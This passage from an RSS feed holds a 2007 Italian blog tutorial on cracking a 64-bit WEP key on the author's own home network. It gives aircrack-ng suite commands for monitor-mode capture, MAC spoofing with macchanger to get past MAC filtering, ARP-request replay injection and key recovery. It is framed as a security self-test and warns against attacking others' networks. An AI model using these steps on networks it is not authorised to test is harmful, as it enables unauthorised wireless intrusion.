			<media:title type="html">PinguinoNinja</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/12/cracking-wep.png" medium="image">
			<media:title type="html">cracking-wep.png</media:title>
		</media:content>
	</item>
		<item>
		<title>crack wep-64bit con la suite &#8220;Aircrack-ng&#8221;.</title>
		<link>http://carlitobrigante.wordpress.com/2007/10/22/crack-wep-64bit-con-la-aircrack-ng-suite/</link>
		<comments>http://carlitobrigante.wordpress.com/2007/10/22/crack-wep-64bit-con-la-aircrack-ng-suite/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 21:48:45 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2007/10/22/crack-wep-64bit-con-la-aircrack-ng-suite/</guid>
		<description><![CDATA[
Eccoci&#8230;salve a tutti&#8230;
Prima di iniziare, qualche doverosa premessa. Un ringraziamento a br1g4nt3 per ospitarmi in questo suo interessante blog.
Quelli che seguono, ora e (spero!) più avanti nel tempo, sono miei “appunti sparsi” riguardi la backtrack, linux e la sicurezza informatica.
Non sono e non possono essere completi e perfetti anche perché non sono quello che si [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=108&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="text-align:center;"><img src="http://www.aircrack-ng.org/img/logo.png" alt="aircrack-ng logo" height="191" width="191" /></div>
<p>Eccoci&#8230;salve a tutti&#8230;</p>
<p>Prima di iniziare, qualche doverosa premessa. Un ringraziamento a br1g4nt3 per ospitarmi in questo suo interessante blog.</p>
<p>Quelli che seguono, ora e (spero!) più avanti nel tempo, sono miei “appunti sparsi” riguardi la backtrack, linux e la sicurezza informatica.</p>
<p>Non sono e non possono essere completi e perfetti anche perché non sono quello che si può&#8217; definire un esperto nel campo&#8230; Sono un po&#8217; curioso e navigando, leggendo (molto e purtroppo in inglese!) e provando, ho scritto queste poche righe.  Le prove che seguono sono state tutte effettuate sulla mia rete domestica, alla quale sono collegati solo ed esclusivamente (spero!) computer da me utilizzati.</p>
<p>Ho effettuato queste prove, solo ed esclusivamente per “testare” la validità della sicurezza della mia rete wireless nell&#8217;intento di prevenire intrusioni da parte di sconosciuti. Invito i lettori di queste righe a porre la giusta attenzione sul fatto che violare reti altrui e&#8217; cosa da NON fare&#8230;..  Cominciamo? La situazione di lavoro è la seguente:</p>
<ul>
<li><i><b>un modem adsl, router, wireless (lo indichero&#8217; con AP)</b></i></li>
<li><i><b>un computer con windows2000 (Client1)</b></i></li>
<li><i><b>un computer con Ubuntu (Client2)</b></i></li>
<li><i><b>un portatile con cui effettuerò&#8217; i miei esperimenti.</b></i></li>
</ul>
<p>Appena ho comprato l&#8217;AP, un po&#8217; per pigrizia, un po&#8217; per ignoranza, non ho impostato nessun tipo di cifratura (<i><b>WEP</b></i> o <i><b>WPA</b></i>). L&#8217;unica cosa che fortunatamente ho fatto è stata quella di impostare un <i><b>filtro</b></i> sui <i><b>MAC</b></i> address dei client che si possono connettere al router tramite il wireless. Col passare del tempo, navigando e iniziando ad interessarmi alla  “sicurezza informatica” ho iniziato a capire che questa scelta, anche se buona, non era però sufficiente.  I dati nella mia rete, ma soprattutto “nell&#8217;aria” viaggiavano “in chiaro”.</p>
<p>Ho deciso quindi di attivare una cifratura <i><b>WEP</b></i> sul mio AP, e sui due client, con una chiave a <i><b>64 bit.</b></i>  Per vedere se questa mia scelta, è sufficiente a tenere lontani gli intrusi, ho deciso di utilizzare una suite che la nostra distro ci mette a disposizione.</p>
<p>Si tratta della suite <a href="http://www.aircrack-ng.org/doku.php"><i><b>aircrack-ng</b></i></a>.</p>
<p><i>  Un po&#8217; di teoria, così come sono riuscito a capirla:</i></p>
<p><i>Ogni pacchetto WEP ha associato un vettore di inizializzazione (detto IV). Catturando un numero abbastanza consistenze di pacchetti (e quindi di vettori) è possibile effettuare su di essi un&#8217;</i><i><b>analisi/attacco</b> di tipo statistico per trovare la chiave </i><i><b>WEP</b> con cui sono stati cifrati e quindi la chiave WEP della rete sotto analisi</i>.</p>
<p>La prima cosa da fare è porre la nostra scheda wireless in <b>monitor mode</b>.</p>
<p>La scheda si mette in ascolto di tutto quello che le passa intorno.</p>
<p><i> Sul <a href="http://backtrack.offensive-security.com/index.php?title=HCL:Wireless"><b>Wiki di backtrack </b></a> c&#8217;è un elenco di schede wireless (pci, pcmcia e usb) consigliate e le istruzioni per attivare, per ognuna di esse, il <b>monitor mode</b></i><i>.</i></p>
<p>La seconda cosa da fare è cambiare, con l&#8217;istruzione <b>macchanger,</b> il MAC address della scheda. In questa maniera l&#8217;AP non la riconosce tra quelle autorizzate e quindi a tutti gli effetti potrebbe essere la scheda di un probabile intruso. Creiamo anche una directory apposita, dove poi ci sposteremo prima di eseguire i vari comandi, poiché i comandi che seguono porteranno alla creazione di numerosi file che in seguito potremmo cancellare più velocemente proprio perché sono contenuti tutti in un&#8217;unica directory.  A questo punto apriamo una shell e digitiamo   <i>airodump-ng ath1</i>  (abbiamo eseguito airodump-ng passandogli come parametro l&#8217;interfaccia wireless che avevamo posto in monitor mode)  otteniamo:</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/10/imm014.jpg" title="imm014.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/10/imm014.jpg?w=411&#038;h=175" alt="imm014.jpg" height="175" width="411" /></a></p>
<p><title></title> 	 	 	 	<!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		PRE { font-family: "DejaVu Sans Mono", monospace } 		P { margin-bottom: 0.21cm } 	--></p>
<p>In questo caso ci viene segnalata la presenza di un solo <b>Access point</b> (giusto!) il cui <b>MAC</b> address e indicato sotto l&#8217;etichetta <b>BSSID</b> (<b>00:0F:3D:??:??:??</b>).</p>
<p>Ci viene anche segnalato che a questo AP sono collegati due computer client (giusto! Sono: <i><b>Client1</b></i> e <i><b>Client2</b></i>).</p>
<p>Sotto l&#8217;etichetta <b>STATION</b> vengono indicati i due <b>MAC</b> address (diversi chiaramente tra loro) delle due distinte schede di rete dei due client.</p>
<p>In alto a sinistra notiamo l&#8217;etichetta <b>CH</b> seguita da un numero che cambia ciclicamente. Rappresenta il canale radio che <b>airodump-ng</b> sta in quel momento analizzando alla ricerca di un AP.  Notiamo che l&#8217;AP sta lavorando sul canale 6 e successivamente focalizzeremo <b>airodump-ng</b> solo su questo canale per raccogliere solo i dati necessari.</p>
<p>Fermiamo ora il programma e sempre nella stessa shell lanciamo il comando:</p>
<p><b>   <i>airodump-ng -c 6 -w prova ath1</i></b></p>
<p><i>  (abbiamo aggiunto il parametro<b> -c </b>per focalizzare il programma solo sul canale <b>6 </b>ed il parametro <b>-w</b> per far scrivere i dati che ci interessano sul file prova , il programma creerà il file &#8220;<b>prova-01.cap</b>&#8220;).</i></p>
<p>Avremo una schermata molto simile alla precedente solo che il <b>CH</b> “non si muoverà”.</p>
<p>NON fermiamo il programma, che sta ascoltando e salvando i pacchetti eventualmente utili.  La nostra idea è di salvare quanti più possibili pacchetti IV (il numero dei quali è indicato sotto l&#8217;etichetta <b>#Data</b>).</p>
<p><i>Quanti pacchetti ci servono per “trovare” una chiave WEP?</i></p>
<p><i>Orientativamente dai 300.000 al 1.000.000. Chiaramente sono delle cifre che devono essere utilizzate per avere l&#8217;idea dell&#8217;ordine di grandezza. Ce ne possono bastare 200.000 come ne potremmo aver bisogno di 2.000.000!  </i></p>
<p>Ora o aspettiamo pazientemente per delle ore, o “aiutiamo” la rete a generare nuovi panchetti IV.</p>
<p>Questo e&#8217; possibile in vari modi , vediamo quello classico e più semplice, per ora.  Utilizziamo l&#8217;attacco <b>ARP-request replay</b>.</p>
<p><b>ARP-request replay ,</b> è  un tipo di attacco pero&#8217; che non funziona se non c&#8217;è traffico nella rete. Nella mia rete, il traffico c&#8217;è, lo sto generando apposta , e quindi lo usiamo.</p>
<p>A questo punto apriamo una nuova shell e digitiamo:</p>
<p><b><i>aireplay-ng -3 -b &lt;MAC address dell&#8217;AP&gt; -h &lt;MAC address del Client&gt; ath1</i></b></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/10/imm02.jpg" title="imm02.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/10/imm02.jpg?w=440&#038;h=149" alt="imm02.jpg" height="149" width="440" /></a></p>
<p><title></title> 	 	 	 	<!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		PRE { font-family: "DejaVu Sans Mono", monospace } 		P { margin-bottom: 0.21cm } 	--><i>il warning che otteniamo, relativo alla differenza di MAC address tra la nostra scheda e quella del client, è del tutto ininfluente.</i></p>
<p><i>Molto semplicemente, ma perché così l&#8217;ho capito, il programma si mette in ascolto di un pacchetto ARP e appena lo sente lo ritrasmette all&#8217;AP. L&#8217;AP lo ritrasmette con un nuovo IV che viene catturato e così via.<br />
Ci sono vari modi “per forzare” un primo invio, da parte dell&#8217;AP, di un pacchetto ARP, ma magari li vediamo un&#8217;altra volta.</i></p>
<p><i>Non appena “inizia il giro” notiamo salire il numero degli ARP request</i></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/10/imm032.jpg" title="imm032.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/10/imm032.jpg?w=458&#038;h=154" alt="imm032.jpg" height="154" width="458" /></a></p>
<p>e nell&#8217;altra shell notiamo salire il numero dei #Data.</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/10/imm042.jpg" title="imm042.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/10/imm042.jpg?w=466&#038;h=199" alt="imm042.jpg" height="199" width="466" /></a><br />
Quando arriviamo a circa 100.000 #Data, lanciamo in una terza shell il comando</p>
<p><b>aircrack-ng -a 1 -b &lt;MAC address dell&#8217;AP&gt; -n 64 prova-01.cap</b></p>
<p>Con questo comando chiediamo di trovare una chiave WEP, riferita all&#8217;AP il cui MAC address indichiamo, utilizzando il file <b>prova-01.cap</b> (che <b>airodump</b> sta creando).<br />
Man mano che il file prova-01.cap “aumenta” il programma “aircrack-ng” legge i nuovi pacchetti salvati.</p>
<p>Utilizzando il parametro “<b>-n 64</b>” forziamo <b>aircrack-ng</b> a lavorare solo su chiavi a 64 bit.</p>
<p>La mia e&#8217; una chiave a 64 bit e quindi con circa 130&#8242;000 IV viene scoperta immediatamente.</p>
<p><i>Analizzati 400.000 / 500.000 pacchetti IV, non trovando la chiave, si dovrebbe fermare aircrack-ng e lanciarlo nuovamente senza il parametro “-n 64”</i>.</p>
<p>E&#8217; stato sviluppato un altro programma, l&#8217; <b>aircrack-ptw</b> , appositamente per trovare la chiave WEP.</p>
<p>Abbiamo visto, nel mio caso, che con circa 130.000 pacchetti IV (catturati in circa 20 minuti) siamo riusciti ad ottenere la mia chiave WEP.</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/10/imm05.jpg" title="imm05.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/10/imm05.jpg?w=489&#038;h=282" alt="imm05.jpg" height="282" width="489" /></a></p>
<p>Il sistema non è proprio sicuro!</p>
<p>Alla prossima!</p>
<p><font color="#ff0000"><i>nota:</i></font></p>
<p><font color="#ff0000"><i>Voglio ringraziare apertamente <b>Fedora</b> per il suo grande contributo al <b>&lt;back|track~blog</b>. Io , a conoscenza o meno , non avendo una rete wireless in casa , non avrei mai potuto realizzare un tutorial  simile , per questo gli esprimo pubblicamente  i miei complimenti per il suo ottimo lavoro&#8230;grazie.</i></font></p>
<p><font color="#ff0000"><i>*****A causa della maledetta formattazione del blog , ho docuto tagliare la parte destra delle finestre , fortunatamente non conteneva nulla di speciale.***** </i></font></p>
<h4></h4>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/108/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/108/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/108/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=108&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2007/10/22/crack-wep-64bit-con-la-aircrack-ng-suite/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">~br1g4nt3~</media:title>
		</media:content>

		<media:content url="http://www.aircrack-ng.org/img/logo.png" medium="image">
			<media:title type="html">aircrack-ng logo</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/10/imm014.jpg" medium="image">
			<media:title type="html">imm014.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/10/imm02.jpg" medium="image">
			<media:title type="html">imm02.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/10/imm032.jpg" medium="image">
			<media:title type="html">imm032.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/10/imm042.jpg" medium="image">
			<media:title type="html">imm042.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2007/10/imm05.jpg" medium="image">
			<media:title type="html">imm05.jpg</media:title>
		</media:content>
	</item>
	</channel>
</rss>